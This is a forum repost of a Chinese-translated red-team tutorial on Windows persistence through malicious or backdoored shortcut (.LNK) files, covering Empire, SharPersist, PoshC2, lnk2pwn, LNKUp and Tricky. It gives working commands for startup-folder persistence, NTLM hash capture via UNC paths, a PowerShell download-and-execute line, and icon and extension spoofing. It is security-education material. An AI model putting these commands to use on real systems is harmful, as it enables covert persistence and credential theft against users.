搜索

[948] 2019-11-11_Window权限维持（四）：快捷方式

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2019-11-11_Window权限维持（四）：快捷方式 W i n d o w 权 限 维 持 （ 四 ） ： 快 捷 方 式 原 创   B y p a s s   B y p a s s   2 0 1 9 - 1 1 - 1 1 W i n d o w s 快 捷 方 式 包 含 对 系 统 上 安 装 的 软 件 或 文 件 位 置 （ 网 络 或 本 地 ） 的 引 用 。 自 从 恶 意 软 件 出 现 之 初 ， 便 已 将 快 捷 方 式 用 作 执 行 恶 意 代 码 以 实 现 持 久 性 的 一 种 方 法 。 快 捷 方 式 的 文 件 扩 展 名 是 . L N K ， 它 为 红 队 提 供 了 很 多 机 会 来 执 行 各 种 格 式 的 代 码 （ e x e ， v b s ， P o w e r s h e l l ， s c r i p t l e t 等 ） 或 窃 取 N T L M 哈 希 值 。 更 隐 蔽 的 方 法 是 修 改 现 有 合 法 快 捷 方 式 的 属 性 ， 但 是 生 成 具 有 不 同 特 征 的 快 捷 方 式 可 以 为 代 码 执 行 提 供 灵 活 性 。 E m p i r e E m p i r e 包 含 一 个 持 久 性 模 块 ， 该 模 块 可 以 后 门 合 法 的 快 捷 方 式 （ . L N K ） ， 以 执 行 任 意 的 P o w e r S h e l l 有 效 负 载 。 现 有 快 捷 方 式 的 目 标 字 段 将 被 修 改 以 执 行 存 储 在 注 册 表 项 中 的 b a s e 6 4 脚 本 。 E m p i r e – 后 门 现 有 快 捷 方 式 查 看 快 捷 方 式 的 属 性 将 显 示 目 标 字 段 已 成 功 修 改 以 执 行 P o w e r S h e l l 有 效 负 载 。 u s e m o d u l e   p e r s i s t e n c e / u s e r l a n d / b a c k d o o r _ l n k
E m p i r e - 修 改 后 的 快 捷 方 式 由 于 快 捷 方 式 存 在 于 启 动 文 件 夹 中 ， 因 此 暂 存 器 将 在 下 一 次 W i n d o w s 登 录 中 执 行 ， 并 且 将 与 命 令 和 控 制 服 务 器 建 立 连 接 。 E m p i r e - 通 过 快 捷 方 式 成 功 上 线 但 是 ， E m p i r e 包 含 一 个 可 用 于 生 成 具 有 L N K 文 件 格 式 的 暂 存 器 的 模 块 。
E m p i r e - 创 建 快 捷 方 式 默 认 情 况 下 ， 此 模 块 将 使 用 写 字 板 图 标 伪 装 成 可 信 任 的 应 用 程 序 。 E m p i r e - 写 字 板 快 捷 方 式 快 捷 方 式 的 目 标 字 段 将 使 用 执 行 B a s e 6 4 有 效 负 载 的 P o w e r S h e l l 命 令 填 充 。 可 以 将 快 捷 方 式 转 移 并 移 动 到 启 动 文 件 夹 中 以 保 持 持 久 性 。 u s e s t a g e r   w i n d o w s / l a u n c h e r _ l n k s e t   L i s t e n e r   h t t p e x e c u t e
E m p i r e - 快 捷 属 性 S h a r P e r s i s t S h a r P e r s i s t 能 够 创 建 I n t e r n e t   E x p l o r e r 快 捷 方 式 ， 该 快 捷 方 式 将 执 行 任 意 有 效 负 载 并 将 其 放 置 在 启 动 文 件 夹 中 以 实 现 持 久 性 。 S h a r P e r s i s t . e x e   - t   s t a r t u p f o l d e r   - c   " c m d . e x e "   - a   " / c   C : t e m p p e n t e s t l a b . e x e "   - f   " p e n t e s t l a b "   - m   a d d
S h a r P e r s i s t   – 快 捷 方 式 当 用 户 进 行 身 份 验 证 时 ， 将 执 行 有 效 负 载 ， 并 打 开 M e t e r p r e t e r 会 话 . S h a r P e r s i s t   –   M e t e r p r e t e r P o s h C 2 P o s h C 2 可 以 创 建 一 个 L N K 文 件 并 将 其 直 接 放 置 在 W i n d o w s 启 动 文 件 夹 中 以 保 持 持 久 性 。 可 以 通 过 执 行 以 下 命 令 来 调 用 此 技 术 ： P o s h C 2   – 启 动 L N K 文 件 在 W i n d o w s 登 录 期 间 ， 快 捷 方 式 将 尝 试 在 注 册 表 项 上 执 行 值 ， 该 注 册 表 项 包 含 b a s e 6 4 格 式 的 s t a g e r 。 P o s h C 2   – 快 捷 方 式 杂 项 P o s h C i n s t a l l - p e r s i s t e n c e   3
在 常 见 的 红 色 团 队 工 具 包 之 外 ， 还 有 多 个 脚 本 可 用 于 开 发 恶 意 快 捷 方 式 。 将 这 些 快 捷 方 式 放 置 在 启 动 文 件 夹 中 以 保 持 持 久 性 将 是 一 个 微 不 足 道 的 过 程 ， 因 为 假 定 已 经 存 在 与 命 令 和 控 制 服 务 器 的 通 信 。 l n k 2 p w n 是 用 J a v a 编 写 的 工 具 ， 可 用 于 制 作 恶 意 快 捷 方 式 。 可 以 通 过 命 令 控 制 台 在 生 成 快 捷 方 式 期 间 嵌 入 任 意 命 令 。 l n k 2 p w n   –   G U I 默 认 情 况 下 ， l n k 2 p w n 将 生 成 伪 造 的 记 事 本 快 捷 方 式 ， 但 是 可 以 轻 松 更 改 图 标 。 l n k 2 p w n   – 假 记 事 本 快 捷 方 式 使 用 L N K U p   p y t h o n 脚 本 可 以 实 现 类 似 的 结 果 ， 该 脚 本 可 以 生 成 可 以 执 行 任 意 命 令 或 窃 取 目 标 用 户 的 N T L M 哈 希 的 快 捷 方 式 。 j a v a   - j a r   l n k 2 p w n . j a r p y t h o n   g e n e r a t e . p y   - - h o s t   1 0 . 0 . 2 . 2 1   - - t y p e   n t l m   - - o u t p u t   o u t . l n k
L N K U p   –   N T L M 哈 希 快 捷 方 式 由 于 生 成 的 L N K 文 件 将 包 含 U N C 路 径 ， 因 此 需 要 使 用 响 应 器 ， 或 者 具 有 捕 获 N T L M 哈 希 值 的 M e t a s p l o i t 模 块 。 L N K U p   –   N T L M 捕 获 密 码 哈 希 可 以 用 于 脱 机 破 解 或 N T L M 中 继 攻 击 ， 以 便 访 问 其 他 系 统 或 用 户 的 电 子 邮 件 。 L N K U p 还 具 有 生 成 将 执 行 任 意 命 令 的 快 捷 方 式 的 功 能 。 u s e   a u x i l i a r y / s e r v e r / c a p t u r e / s m b p y t h o n   g e n e r a t e . p y   - - h o s t   1 0 . 0 . 2 . 2 1   - - t y p e   n t l m   - - o u t p u t   p e n t e s t l a b . l n k   - - e x e c u t e   " c m d . e x e   / c   C : t e m p p e n t e s t l a b . e x e "
L N K U p   – 执 行 命 令 x i l l w i l l x 开 发 了 一 个 名 为 r i c k y . l n k 的 P o w e r S h e l l 脚 本 ， 该 脚 本 可 以 创 建 一 个 以 . u n i k 字 符 欺 骗 的 . L N K 文 件 ， 该 字 符 反 转 . l n k 扩 展 名 并 在 文 件 末 尾 附 加 . t x t 。 生 成 的 扩 展 名 将 包 含 一 个 P o w e r S h e l l 命 令 ， 该 命 令 将 从 远 程 服 务 器 下 载 文 件 并 直 接 在 系 统 上 执 行 。 T r i c k y 2   –   P o w e r S h e l l 或 者 ， 该 项 目 包 含 一 个 V B S 脚 本 ， 该 脚 本 可 以 执 行 与 P o w e r S h e l l 版 本 相 同 的 操 作 。 C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - n o L o g o   - C o m m a n d   ( n e w - o b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e (
T r i c k y   –   V B S 脚 本 译 文 声 明 ： 本 文 由 B y p a s s 整 理 并 翻 译 ， 仅 用 于 安 全 研 究 和 学 习 之 用 。 原 文 地 址 ： h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 9 / 1 0 / 0 8 / p e r s i s t e n c e - s h o r t c u t - m o d i f i c a t i o n /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理